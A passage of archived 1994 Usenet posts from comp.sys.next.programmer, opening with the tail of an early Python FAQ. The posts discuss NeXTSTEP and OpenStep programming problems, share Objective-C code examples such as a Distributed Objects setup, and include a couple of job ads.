is always available by anonymous ftp from ftp.cwi.nl [192.16.184.180] in the directory /pub/python, with filename pythondoc-ps<version>.tar.gz. It is a gzip'ed tar file containing PostScript files of the reference manual, the library manual, and the tutorial. At the time of writing <version> is 1.0.2. Note that the library manual is the most important one of the set, as much of Python's power stems from the standard or built-in types, functions and modules, all of which are described here. PostScript for a high-level description of Python is in the file nluug-paper.ps. The following sites keep mirrors of the Python distribution: Site IP address Directory gatekeeper.dec.com 16.1.0.2 /pub/plan/python/cwi ftp.uu.net 192.48.96.9 /languages/python ftp.wustl.edu 128.252.135.4 /graphics/graphics/sgi-stuff/python ftp.funet.fi 128.214.6.100 /pub/languages/python (old?) ftp.fu-berlin.de 130.133.4.50 /pub/unix/languages/python (*python* only) Or try archie on e.g. python1.0 to locate the nearest copy of that version... 1.5. Q. Is there a newsgroup or mailing list devoted to Python? A. There is a newsgroup, comp.lang.python, and a mailing list. The newsgroup and mailing list are gatewayed into each other -- if you can read news it is not necessary to subscribe to the mailing list. Send e-mail to python-list-request@cwi.nl to (un)subscribe to the mailing list.
Newsgroups: comp.sys.next.programmer From: jay@charlie (Jay Liew) Subject: Font Class - getwidth of ... Bug ???? Message-ID: <1994Jul5.174427.4942@cs.uno.edu> Sender: news@cs.uno.edu Organization: University of New Orleans Date: Tue, 5 Jul 1994 17:44:27 GMT The solution was in /NextDeveloper/Fonts I was getting really mixed up between the screen and non-screen fonts. Sheeeesh... The solution is to make sure you get the width of the right font. The Screen Font in my case via.... [myFont screenFont]; Then I am set to get the measurements for my string width. One darn function...... Arrghh!!!..... It took way too long for me to discover the function. Now my only problem is that I do not know if I need all the screen-font-size files (.afm) in my font library. So far I have only 4 sizes for each font and my program will only create the right tabs only for the right sizes and fonts. Jay (jay@charlie.smobject.com) --------------------
From: vanguard@oar.net (Tyler Gingrich) Newsgroups: comp.sys.next.programmer Subject: Re: Questions about OpenStep Spec Date: 5 Jul 1994 14:10:36 -0400 Organization: OARnet, Columbus, OH. Message-ID: <2vc7ms$oao@dialup.oar.net> References: <2vbsc0$ktm@tribune.usask.ca> In article <2vbsc0$ktm@tribune.usask.ca> eric@skatter.usask.ca (Eric Norum) writes: >I just downloaded the OpenStep specification. Perhaps I'm missing something, >but I can't see any mention of DPSAddFd() and DPSAddTimedEntry(). Are these >not part of OpenStep? If not, are there replacements? > Check out the foundation class "NSTimer". It appears to subsume all of the functionality of the DPSTimedEntry stuff. >Are the routines listed in the OpenStep spec available on some CD rom? > Not that I'm aware of. However, the whole thing is only 1.2Mb in it's current form (uncompressed). You could easily put this on a floppy. :-) >Another question -- I've seen lots of comments about the beta version of the >Enterprise Objects. How does one go about ordering this? > EOF should be commercially available in October 1994. However, you _might_ be able to get a beta version from your local NeXT SE. This, however, assumes that you have a local SE && you are on good terms with this person. :-) :-) --- Tyler Gingrich Vanguard Software, Corp.
Newsgroups: comp.sys.next.programmer From: bbernhar@silver.ucs.indiana.edu (benjamin bernhard) Subject: distributing EOF apps Message-ID: <CsHDMM.5M2@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Date: Tue, 5 Jul 1994 18:49:31 GMT I'm developing an app scheduled to go beta before EOF ships. I'd like to use the new stuff. Two questions: 1) Is EOF currently stable enough to trust with a beta release of my project? 2) how do I deal with EOUser.pkg? I'm assuming it will be needed for my app to run, will NeXT let me distribute it to the beta sites? Opinions appreciated, ben -- __________________________________________________________________________ Ben Bernhard "Nothing that results from human progress 812/339-5304 (fax) is achieved with unanimous consent." bbernhar@cs.indiana.edu ---Christopher Columbus
From: erikkay@next.com (Erik Kay) Newsgroups: comp.sys.next.programmer Subject: Re: NXBundle..how come..... Date: 5 Jul 1994 20:22:03 GMT Organization: NeXT, Inc. Message-ID: <2vcfdb$9ho@rosie.next.com> References: <94182.152323JTRQC@CUNYVM.CUNY.EDU> In article <94182.152323JTRQC@CUNYVM.CUNY.EDU> <JTRQC@CUNYVM.CUNY.EDU> writes: ] Hello.. ] How come when I load code in from an xxx.bundle file that contains ] a nib the nib stuff e.g. windows etc.. don't work???? ] How come [NXApp loadNibSection:......] doesn't work but ] [NXApp loadNibFile....] does work but I can't orderFront: etc.. ] my windows..????? ] Feedback please!! loadNibSection: is a piece of old API from the days when nibs and other data files were stored as Mach-O sections inside of application and bundle binaries. In other words, it's obsolete, so don't use it. You didn't give enough info as to how you're doing the loading, what the nib is, etc. for me to answer your second question, but here's a general answer: to load a nib from a bundle, use the bundle to get the path to the file, then load the nib from the path that you get back. char path[MAXPATHLEN]; [myBundle getPath:path forResource:"mynib" ofType:"nib]; [NXApp loadNibFile:path owner:self]; hope that helps, Erik
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: Re: Anyone using python on Nextstep? Message-ID: <1994Jul2.121908.171386@eros.embl-heidelberg.de> From: tuparev@miles.NMR.EMBL-Heidelberg.DE (Georg Tuparev) Date: 2 Jul 94 12:19:08 +0100 References: <geneCs80Br.F0C@netcom.com> In article <geneCs80Br.F0C@netcom.com> writes: > I'll bite: What is Python? 1) A part of MontyPython ;^) 2) Smalltalkish Perl 3) A way to write quickies with fun > > Monty (monty@hounddog.tbyte.com) wrote: > : Looks like I will be. A Python <-> Objective-C binding would be most > : useful. > > : Thanks, > > : Monty > : monty@tbyte.com > -- > ------------------------------------------------------------ > gene m. stover "Making the world safe from democracy." > Internet: gene@CyberTiggyr.com > NeXT Mail spoken here > For PGP public key, finger gene@netcom.com -- Georg Tuparev EMBL / Protein Design Phone: +49 - 6221 - 387534 Meyerhofstr. 1 FAX: +49 - 6221 - 387517 D-69117 Heidelberg Germany Tuparev@EMBL-Heidelberg.de (NeXT-mail)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Need help with FAT arch - cc options Date: 02 Jul 1994 00:25:41 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Jul2012541@steffi.demon.co.uk> References: <Cs9AtE.1GF@nyro.com> To: ian_stewart@nyro.com (Ian Stewart) In-reply-to: ian_stewart@nyro.com's message of Fri, 1 Jul 1994 10:08:02 GMT This was valid for 3.1 but I'm hoping they've cleaned things up for 3.2.. Back then I did something like this ... in .login setenv RC_ARCHS "m68k i386" set all="" foreach arch ($RC_ARCHS) set all="$all""-arch $arch " end set all="$all" setenv RC_CFLAGS `echo $all` make -e will override makefile settings with those from your environment.. If you look in common.make you will see.. RC_ARCHS = `/usr/bin/arch` So the above will ensure that the default isn't performed. alternatively you could add the RC_ARCHS and RC_CFLAGS lines to your PB options (ie. have PB pass them to the make command line) -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: mathur@delhi.eecs.umich.edu (Amit G. Mathur) Newsgroups: comp.sys.next.programmer Subject: Recording audio using the C fnc. interface Date: 2 Jul 1994 21:34:57 GMT Organization: University of Michigan EECS Dept. Message-ID: <2v4mi1$jqu@zip.eecs.umich.edu> Anyone seen the following problem: Using the SND C functions (SNDStartPlaying and SNDStartRecording), when the buffer sizes are small, say 256 or 512 bytes, number of buffers are also small, say 8, (the buffers here refer to the buffers passed to SNDStartRecording etc.), one very often gets the message: record: Cannot record sound recordDone: Timeout followed by, record: Cannot access hardware resources after which one has no choice but to abort and restart things. Note that the same program runs fine for larger buffer sizes (>1K)! Comments appreciated. - Amit Mathur (mathur@eecs.umich.edu) (No NeXT mail please)
Newsgroups: comp.sys.next.programmer Subject: setting the miniwindow icon Message-ID: <1994Jul2.143116.5849@verifone> From: erik_e1@verifone.com (ERIK EBERT, SOFTWARE DQ, HNL, 808 625-3393) Date: 2 Jul 94 14:31:16 -1000 Organization: VeriFone Inc., Honolulu HI OK, I give up. How the _heck_ do you set the icon on a miniwindow? I've tried calling [window setMiniwindowIcon:] within the windowWillMiniaturize:toMiniwindow: and windowDidMiniaturize: delgate methods. I've checked with gdb and the methods do get called but the window is blank. I've tried playing with the .iconheader file. I've tried faking it out by calling setTitleAsFilename: and setting the Document icon in IB. I've tried playing with window->counterpart, but apparently it is private. I've even tried reading the documentation. It's got to be something really simple, but at this point I've wasted far too much time trying to figure it out by trial and error. If somebody could tell me the magic incantation I'd really appreciate it. This is using NeXTStep 2.1 on a 25Mhz color NextStation slab. For bonus points, what if I want to set the miniwindow to display an NXImage instead of a predefined .tiff file? email replies appreciated. Thanks. -- Erik erik_e1@verifone.com
Newsgroups: comp.sys.next.programmer From: gordie@cyclesoft.com (Gordie Freedman) Subject: Re: Do you like developing multiple thread apps? What else is there? Message-ID: <1994Jul2.222539.23196@netcom.com> Sender: gordie@netcom.com Organization: Cyclesoft Media Works References: <Cs8JF3.rG@euler.hnv.icem.de> Date: Sat, 2 Jul 1994 22:25:39 GMT In article <Cs8JF3.rG@euler.hnv.icem.de> js@euler.hnv.icem.de(Juergen Sell) writes: > So my big question is: What technique would you recommend to > implement an app with "background" processing where this > processing needs to update the GUI and access lots of objects > while the frontend remains ever ready for user input? Is using > oneway messages via a NXConnection to a different (forked) process > an alternative? But then you have to get data back somehow. > > Leaves me confused, so please enlighten my soul. Juergen I think using an NXConnection between two apps is a good idea. You can get data back by sending a message from the connecting app to the object it connects to specifying an object on the connecting side. If anyone is interested, I can post/mail a coding example of how to start an app, register a root object, fire up another app and have each app get a proxy to an object in the other app. -- >>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes! >>> Thou shalt not inline functions more complicated than 20
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy Subject: Class heirarchy for foundationkit? Date: 2 Jul 1994 10:11:23 +0100 Organization: me organised, that's a joke. Message-ID: <2v3avr$23u@steffi.demon.co.uk> Even though the majority of classes are descendants of NSObject has anybody put together a Diagram! like class hierarchy for foundation kit? -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: russell@alpha3.ersys.edmonton.ab.ca (Russell Schulz) Newsgroups: gnu.misc.discuss,comp.sys.next.programmer,comp.lang.pascal Subject: Re: pascal compiler for Next Ip needed Message-ID: <940703.134507.6W7.rusnews.w164w@alpha3.ersys.edmonton.ab.ca> Date: Sun, 3 Jul 1994 13:45:07 -0600 References: <2v3raj$ni2@news.univ-rennes1.fr> Followup-To: comp.sys.next.programmer,comp.lang.pascal Organization: Private System, Edmonton, AB, Canada lotfi@next.univ-rennes1.fr writes: > Where can I find A pascal compiler runnig in a Next Ip486 ? I've done this with gcc and p2c (on caltech.edu). I haven't tried any of the gpc's yet (which I gather are somewhat available now). -- Russell Schulz russell@alpha3.ersys.edmonton.ab.ca ersys!rschulz Shad 86c
From: tudhope@hookup.net (Daniel C. Ellison) Newsgroups: comp.sys.next.programmer Subject: Help! HashTable won't cooperate! Date: 3 Jul 1994 04:32:34 GMT Organization: HookUp Communication Corporation, Oakville, Ontario, CANADA Distribution: world Message-ID: <2v5f12$827@relay.tor.hookup.net> Keywords: HASH Okay, I understand that I'm _relatively_ new to NeXTSTEP programming, but this is really driving me crazy! I've used a HashTable as close to "by the book" as I could get, and I'm getting wierd errors when I try to compile. Here's the bunch of errors I get, followed by the code that causes the errors: Errors: SLIPWatch.m: In method `openDeviceWindow:' SLIPWatch.m:10: warning: passing arg 1 of `isKey:' makes pointer from integer without a cast SLIPWatch.m:11: warning: passing arg 1 of `insertKey:value:' makes pointer from integer without a cast SLIPWatch.m:12: warning: passing arg 1 of `valueForKey:' makes pointer from integer without a cast SLIPWatch.m:12: warning: invalid receiver type `void *' SLIPWatch.m: In method `freeDevice:' SLIPWatch.m:18: warning: passing arg 1 of `removeKey:' makes pointer from integer without a cast SLIPWatch.m: In method `appDidInit:' SLIPWatch.m:34: warning: invalid receiver type `void *' *** SLIPWatch.h *** #import <appkit/appkit.h> @interface SLIPWatch:Object { id infoPanel; id deviceTable; int deviceTag; } - openDeviceWindow:sender; - freeDevice:(int)deviceNum; - showInfoPanel:sender; - appDidInit:sender; - appWillTerminate:sender; @end *** SLIPWatch.m *** #import <appkit/appkit.h> #import "SLIPWatch.h" #import "DeviceWindow.h" @implementation SLIPWatch - openDeviceWindow:sender { deviceTag = [[sender selectedCell] tag]; if ([deviceTable isKey:deviceTag] == NO) [deviceTable insertKey:deviceTag value:[[DeviceWindow alloc] initDevice:deviceTag]]; [[[deviceTable valueForKey:deviceTag] setMaster:self] displayWindow]; return self; } - freeDevice:(int)deviceNum { [deviceTable removeKey:deviceNum]; return self; } - showInfoPanel:sender { if (!infoPanel) [NXApp loadNibSection:"InfoPanel.nib" owner:self]; [infoPanel makeKeyAndOrderFront:self]; return self; } - appDidInit:sender { deviceTable = [[HashTable alloc] initKeyDesc:"i"]; [deviceTable insertKey:0 value:[[DeviceWindow alloc] init]]; [[[deviceTable valueForKey:0] setMaster:self] displayWindow]; return self; } - appWillTerminate:sender { [deviceTable freeObjects]; [deviceTable free]; return self; } @end Look closely at the appDidInit method; did I do *anything* wrong in my initialization of the hash table? Or did I access it incorrectly? If you need to know anything else about my code, please let me know. -- +-------------------------------------+-------------------------------------+ | Daniel C. Ellison | Phone: 416-366-7100 | | Tudhope Associates Inc | Fax: 416-366-7711 | | International Graphic Design | Internet: dcell@tudhope.com | +-------------------------------------+-------------------------------------+
From: RogerS@vnet.ibm.com (Roger Spall) Newsgroups: comp.sys.next.programmer Subject: NeXT Step programmers needed Date: 28 Jun 1994 21:31:20 GMT Organization: IBM, Toronto User Centered Product Design Distribution: na Message-ID: <2uq4r8$jk0@tornews.torolab.ibm.com> Summary: Professional NeXT Programmers needed in Toronto Keywords: NeXT step programmer employment Toronto Usability, IBM Canada Ltd are looking to run a one day Usability activity in Toronto. The activity requires TEN Professional (preferably Full-time employed) NeXT Step programmers to commit a full-day on Saturday July 9th, 1994. The activity requires the participants to describe their various programming tasks, work habits, tools, preferences, likes, dislikes, etc. The activity will use Group/Team based collaborative hardware + software to allow the participants to electronically brainstorm ideas, prioritize, rate, and provide in depth information concerning their development tasks - NOTE WE ARE INTERESTED IN HOW YOU WORK, NOT THE DETAILS OF ANY PROJECTS YOU ARE CURRENTLY WORKING ON. Lunch + snacks will be provided. Although travel expenses can not be re-imbursed, a suitable Honararium will be paid to all participants. If you would like to participate in the activity, then please send a note to the address below and you will be contacted and asked appropriate screening / background questions. This is a serious activity, and we are looking for EXPERIENCED NeXT Step developers. Regards, Roger Spall, User Centered Product Design FAX (416) 448-2893 24/664/844/TOR, RogerS@vnet.ibm.com IBM Canada Ltd, 844 Don Mills Rd, North York, Ontario, M3C 1V7.
Newsgroups: comp.sys.next.programmer From: gordie@cyclesoft.com (Gordie Freedman) Subject: Re: mouseDown: in the Application icon Message-ID: <1994Jul3.004709.23359@netcom.com> Sender: gordie@netcom.com Organization: Cyclesoft Media Works References: <Cs9oI5.AK6@txnews.amd.com> Distribution: usa Date: Sun, 3 Jul 1994 00:47:09 GMT In article <Cs9oI5.AK6@txnews.amd.com> rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) writes: > Dear NEXTSTEP Gurus. > > I want my Application's icon in the dock to respond to a single mouseDown:. > I've tried something along the lines of > > [[NXApp appIcon] setDelegate: self]; > > in an appDidInit method in a Controller object (which is a delegate of the > NXApp). > > In my Controller I implement a mouseDown:sender method, but I > never gets invoked. It occured to me that the event mask for the > Window (appIcon) might prevent single mouse clicks from making > it through. Am I on the right track or am I in the woods on this > one ? > > I also want to change the appIcon each time the user songle clicks it (it's > like a power switch that toggles). Any hints there are also appreciated. > I seem to remember trying to set the appIcon's delegate once before - the setDelegate method didn't do anything in this case. I think something in the appkit subverts doing that - and I recall someone once posting a reason why this is (unfortunately, I don't remember why). I managed to set the appIcon's delegate by cheating and using this hack (worked on 3.0, not sure about 3.x versions ...) id iconWindow = [NXApp appIcon]; struct windowDef { @defs(Window) } *public; public = (struct windowDef*) iconWindow; public->delegate = self; From what I understand this is *not a good thing* (tm) - in fact, I don't bother using it anymore, I just wanted to see if it would work. I don't remember all the details, but I think setting the appIcon's delegate is discouraged, and the appkit might even handle mousedowns in the appIcon differently anyway (and possibly not forward them to the delegate). However, what you want to do does sound neat, you might try to stick another window on top of the appIcon when the app is running, and catch the mouse down there. Don't forget to track that window around (so you can move it and your appicon under it - not sure how that would jive with moving things on/off the dock though!) Or perhaps there is another way ... -- >>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes! >>> Thou shalt not inline functions more complicated than 20
From: Uwe Hoffmann Newsgroups: comp.sys.next.programmer Subject: Re: Class heirarchy for foundationkit? Date: 3 Jul 1994 15:25:31 GMT Organization: Forschungszentrum Informatik (FZI), Karlsruhe, Germany Message-ID: <2v6l9b$8kj@gate.fzi.de> References: <2v3avr$23u@steffi.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit In article <2v3avr$23u@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > Even though the majority of classes are descendants of NSObject has anybody > put together a Diagram! like class hierarchy for foundation kit? > > -- You might try out my new app called Wood.app. It pretty-draws trees, lets you import data and save as Diagram!2 format. I put it on cs.orst.edu: /pub/next/submissions/Wood.NI.b.tar.gz and on ftp.informatik.uni-muenchen.de: /pub/comp/platforms/next/Graphics/vector/Wood.NI.b.tar.gz. There is a perl script in the distribution called objctree. You have to change the name "Object" to "NSObject" to work with the new root class. For those who don't want to bother with Wood I'll upload the hierarchy on cs.orst.edu. uwe....................................hoffmann@fzi.de (nextmail ok)
From: rgc@wam.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy Subject: Re: Class heirarchy for foundationkit? Followup-To: comp.sys.next.programmer,comp.sys.next.advocacy Date: 3 Jul 1994 21:21:47 GMT Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Message-ID: <2v7a5b$e3g@mimsy.cs.umd.edu> References: <2v3avr$23u@steffi.demon.co.uk> Robert Nicholson (robert@steffi.demon.co.uk) wrote: : Even though the majority of classes are descendants of NSObject has anybody : put together a Diagram! like class hierarchy for foundation kit? This can be easily done with the new app Wood, which was recently submitted to cs.orst.edu. I don't have the *.h files to do so, so maybe someone with the beta can post the diagram. -- Ross Cutler University of Maryland, College Park Internet: rgc@cs.umd.edu
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: setting the miniwindow icon Date: 03 Jul 1994 10:26:37 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Jul3112637@steffi.demon.co.uk> References: <1994Jul2.143116.5849@verifone> To: erik_e1@verifone.com (ERIK EBERT, SOFTWARE DQ, HNL, 808 625-3393) In-reply-to: erik_e1@verifone.com's message of 2 Jul 94 14:31:16 -1000 <erik_e1@verifone.com> writes: >OK, I give up. How the _heck_ do you set the icon on a miniwindow? >I've tried calling [window setMiniwindowIcon:] within the >windowWillMiniaturize:toMiniwindow: and windowDidMiniaturize: delgate >methods. I've checked with gdb and the methods do get called but the >window is blank. I've tried playing with the .iconheader file. I've tried >faking it out by calling setTitleAsFilename: and setting the Document icon >in IB. I've tried playing with window->counterpart, but apparently it is >private. I've even tried reading the documentation. It's got to be >something really simple, but at this point I've wasted far too much time >trying to figure it out by trial and error. If somebody could tell me the >magic incantation I'd really appreciate it. >This is using NeXTStep 2.1 on a 25Mhz color NextStation slab. >For bonus points, what if I want to set the miniwindow to display an >NXImage instead of a predefined .tiff file? >email replies appreciated. >Thanks. > -- Erik > erik_e1@verifone.com The first thing you should do is index /NextDeveloper/Examples in DL and search for setMiniwindowIcon... You should find that Draw ie. (NextDeveloper/Examples/AppKit/Draw) uses this... I'd say the problem you are experiencing is related to the image you are setting.. You should probably add the window's mini icon in the Attributes panel in PB. Note... that setMiniwindowIcon is doing the findImageNamed for you so I'm willing to be that it cannot find your image. -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: tomi@shinto.nbg.sub.org (Thomas Engel) Subject: CodeEdit ? More details, suggestions. Message-ID: <CsC0uE.8G@shinto.nbg.sub.org> Sender: tomi@shinto.nbg.sub.org (Thomas Engel) Organization: Molecule Modelling Lab. Date: Sat, 2 Jul 1994 21:25:26 GMT Hi! Just have read about CodeEdit ? When, what,... I planed to hack something together on my own but if this will come anytime soon I would gladly switch my priorities to real work. Suggestions: My ideal CodeEdit would allow me to create classes, methods, etc. while giving me the chance to write method and class related docus. I hate to write a class, comment the source, and retype most of the comments inside my class documentations. Writing down real NeXT-like class descritptions would be a pleasure. Maybe some way of RCS and Method/class related bug annotation handling would be nice. Aloha, Tomi Please don't make me write MyCodeEdit(... I'll have to duplicate HeaderViewer and Edits internal objects. What a waste of resources :-( -- _________________________________________________________ (tomi@shinto.nbg.sub.org) Thomas Engel Neptunstr. 9 NeXTMail welcome D - 90522 Oberasbach
Newsgroups: comp.sys.next.programmer From: tomi@shinto.nbg.sub.org (Thomas Engel) Subject: OpenStep Docu. Good but... Message-ID: <CsCt04.6K@shinto.nbg.sub.org> Sender: tomi@shinto.nbg.sub.org (Thomas Engel) Organization: Molecule Modelling Lab. Date: Sun, 3 Jul 1994 07:33:39 GMT Hi! Well reading the OpenStep spec is kind of interesting but still it lacks some very important details IMHO. It would be absolutly helpful if NeXT could update the Pages and include a very short description line to the class docus. Like: NXValue: Meant as a container for storing or byCopy passing. NXPrintOperation: Used to store a print request and used by...?? I still fail to get the real overview feeling. Some classes are just lost in space for me right now. Aloha, Tomi P.S: If there is some interest I would build a Diagram!2 doc showing the class hierrarchies with links to the documents. -- _________________________________________________________ (tomi@shinto.nbg.sub.org) Thomas Engel Neptunstr. 9 NeXTMail welcome D - 90522 Oberasbach
Newsgroups: comp.sys.next.programmer From: root@net23.com (Operator) Subject: Programmer needed for INET site Sender: news@spcuna.spc.edu (Network News) Organization: Misconfigured client newsreader Date: Mon, 4 Jul 1994 07:13:33 GMT Message-ID: <CsEMqM.E12@spcuna.spc.edu> Hello. We need several people to program serveral utilites on our public access Internet site, net23.com What we essentially need is a menu system, a vt100 sort. We are also interested in putting up a windows interface, and a mac interface at some point. Also, some other utilities are needed. If you are interested, please send mail to info@net23.com and let us know if you think you can help out. Thanks in advance, Nick -- Nick Jarecki | Network 23 - InterNet Services Provider razor@net23.com | (shell,FTP,WWW) in the New York/Metro area Voice: [917-424-8806] | Email "info@net23.com" Ask me about our Hamburgers | Telnet to net23.com, login:info To access our REVOLUTIONARY WWW server, point your client to http://net23.com
From: c9039@rrzc2 (Roland Schwingel) Newsgroups: comp.sys.next.programmer Subject: Driverkit Eventposting (how ?) Date: 4 Jul 1994 07:21:45 GMT Organization: University of Regensburg, Germany Message-ID: <2v8da9INNlp@rrzs3.uni-regensburg.de> Keywords: Driverkit Events Hello, I have got a problem. I want to send inputevents from within a driverkit LKS. I am searching now for weeks for an example code how this is made. The Developers Docs about the Driverkit and LKS are _very_ short. Is there any democode for Driverkit Eventposting out ??? Thanks in advance, Roland -- P.S.: ATTENTION! NEW EMAIL ADRESS. PLEASE DON'T USE THE OLD ONE ANY LONGER. -------------------------------------------------------------------------------- Roland Schwingel, Lilienthalstrasse 9, 92421 Schwandorf, Germany NEW Email:roland.schwingel@extern.uni-regensburg.de --------------------------------------------------------------------------------
From: lotfi@next.univ-rennes1.fr Newsgroups: comp.sys.next.programmer,comp.lang.pascal Subject: Re: pascal compiler for Next Ip needed Date: 4 Jul 1994 12:21:19 GMT Organization: Universite de Rennes 1, France Message-ID: <2v8urv$512@news.univ-rennes1.fr> References: <940703.134507.6W7.rusnews.w164w@alpha3.ersys.edmonton.ab.ca> In article <940703.134507.6W7.rusnews.w164w@alpha3.ersys.edmonton.ab.ca> russell@alpha3.ersys.edmonton.ab.ca (Russell Schulz) writes: > lotfi@next.univ-rennes1.fr writes: > > > Where can I find A pascal compiler running in a Next Ip486 ? > > I've done this with gcc and p2c (on caltech.edu). I haven't tried > any of the gpc's yet (which I gather are somewhat available now). > -- > Russell Schulz russell@alpha3.ersys.edmonton.ab.ca ersys!rschulz Shad 86c In Which directory are these programs? Lotfi.
Newsgroups: comp.sys.next.programmer From: gordie@cyclesoft.com (Gordie Freedman) Subject: Example using DO to separate UI from background processing app Message-ID: <1994Jul4.092416.27699@netcom.com> Sender: gordie@netcom.com Organization: Cyclesoft Media Works Date: Mon, 4 Jul 1994 09:24:16 GMT This is in reference to: In article <Cs8JF3.rG@euler.hnv.icem.de> js@euler.hnv.icem.de(Juergen Sell) writes: > Well, I just tried to write my first multiple cthreaded app and > it doesn't work and it's difficult to debug for me. > ... > So my big question is: What technique would you recommend to > implement an app with "background" processing where this > processing needs to update the GUI and access lots of objects > while the frontend remains ever ready for user input? Is using > oneway messages via a NXConnection to a different (forked) process > an alternative? But then you have to get data back somehow. Here is some example code to use DO to set up 2 way communication between an app with a UI and a background task that does processing. I am cheating here, as a better way to do this would be to start the background processing app first and let multiple UI invocations connect to it. Instead, for brevity (and to demonstrate NXBundling an executable within another) I start the UI first, and have that fire up the background processing app. I can NeXTMail actual projects and source to anybody who would like. It even works, I just compiled and ran it. Anyway - here's code that goes into the app delegate in the UI: ------------------------------- #import "MyObject.h" @implementation MyObject const char* const rootName = "theUIAppDelegate"; const char* const appName = "MultipleProcess"; // When the app inits, we set up the DO connection, and // start the subprocess up ... - appDidInit:sender { id bundle; char buf[MAXPATHLEN+1]; int pid; // Should track down header and #define and use pid_t int rc; id con; // You probably want to do something to guarantee a unique // name for rootName (i.e. append itoa'd system clock) con = [NXConnection registerRoot:self withName: rootName]; [con setDelegate:self]; [con runFromAppKit]; pid = fork(); if (pid < 0) { NXRunAlertPanel ("Well, paint me orange and call me Dody", "Dang fork() didn't work", NULL, NULL, NULL, NULL); exit(-1); } else if (pid == 0) { // I am the child bundle = [NXBundle bundleForClass:[self class]]; rc = [bundle getPath:buf forResource:appName ofType:NULL]; // if rc != 0, big trouble - do something! execl (buf, appName, rootName, (char*) 0); } return self; } // This gets invoked when the subprocess connects to us - connection:(NXConnection *)conn didConnect:(NXConnection *)newConn { [newConn registerForInvalidationNotification:self]; return newConn; } // Menu button "send" invokes this, we say hello to the subprocess - send:sender { [other hello:self]; return self; } // This is called by the subprocess to update our button - (oneway void) show:(int)index { id button; switch (index) { case 0: button = button0; break; case 1: button = button1; break; case 2: button = button2; break; case 3: button = button3; break; default: button = button0; } [[window contentView] addSubview:button:NX_ABOVE relativeTo:nil]; [window display]; } // Invoked if the subprocess dies or connection otherwise disappears - senderIsInvalid:con { (void) NXRunAlertPanel([NXApp appName], "The background task is dead! Sorry, must quit ...", "Exit", NULL, NULL); [NXApp free]; exit(-1); } // This is how the subprocess tells us who it is so we // can communicate back to it (i.e. as we do in our send method) - (oneway void) setExecutableDelegate:theOther { other = theOther; [other setProtocolForProxy:@protocol(backgroundMethods)]; } @end ------------------------------- Here's the main for the background processing app: #import "Thing.h" // All this does is create an object that is in charge // of the networking back to the UI and (in this case) // driving whatever processing is done in the subprocess ... void main(int argc, char *argv[]) { id thing = [[Thing alloc] init:argv[1]]; [Application new]; [NXApp setDelegate:thing]; [NXApp run]; [NXApp free]; exit(0); } ------------------------------- And the code for the Thing object in the background processing app: #import "Thing.h" @implementation Thing id theUIDelegate; // These routines are for example only, and simply // tell the UI to do something simple via a DO message // whenever the timeout hits ... void timeoutHandler(DPSTimedEntry tag, double current, void* user) { id me = (id) user; if (tag) { DPSRemoveTimedEntry (tag); } [me handleTimeout]; } static int sendIndex = 0; - (void) handleTimeout { time_t now; [theUIDelegate show:sendIndex++]; if (sendIndex > 3) { sendIndex = 0; } now = time((time_t) NULL); now %= 10; DPSAddTimedEntry (now + 1, timeoutHandler, (void*) self, NX_MODALRESPTHRESHOLD); } // Init method to set the name of the rootObject to connect to // which is then used in appDidInit ... - init:(const char*) theTarget { target = theTarget; return self; } // We have to wait for the app to be up and the main event loop // to be running before we do this stuff, so we do it here, in // the appDidInit: method ... - appDidInit:sender { id con; theUIDelegate = [NXConnection connectToName:target onHost:NULL]; if (theUIDelegate == nil) { (void) NXRunAlertPanel([NXApp appName], "Can't connect, quitting", "Exit", NULL, NULL); [NXApp free]; exit(-1); } [theUIDelegate setProtocolForProxy:@protocol(UIMethods)]; [theUIDelegate setExecutableDelegate:self]; con = [theUIDelegate connectionForProxy]; [con registerForInvalidationNotification:self]; [con runFromAppKit]; DPSAddTimedEntry (0.0, timeoutHandler, (void*) self, NX_MODALRESPTHRESHOLD); return self; } // Exit when the UI exits - senderIsInvalid:con { #if YAKKING (void) NXRunAlertPanel([NXApp appName], "The UI exited, so quitting", "Exit", NULL, NULL); #endif [NXApp free]; exit(0); } // This is the big fancy method that the UI sends to us - hello:sender { (void) NXRunAlertPanel([NXApp appName], "The UI said hello", "Wow!", NULL, NULL); return self; } @end ------------------------------- Anybody has any questions, just send some email. Hope this is of some help. -- >>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes! >>> Thou shalt not inline functions more complicated than 20
From: george@nice.usergroup.ethz.ch (George Fankhauser) Newsgroups: comp.sys.next.programmer Subject: How to access middle mouse button? Date: 4 Jul 1994 13:36:01 GMT Organization: NiCE - NeXT User Group, Zurich, Switzerland Message-ID: <2v9381$7j3@elna.ethz.ch> Summary: Nextstep, middle mouse button well, according to the documentation this is not possible. but I wonder if anybody knows of some hack or undocumented function to make it work. another idea was to use some ioctl on /dev/vid0, but I didn't find any- thing in the headers or docs... thanks for all suggestions, George
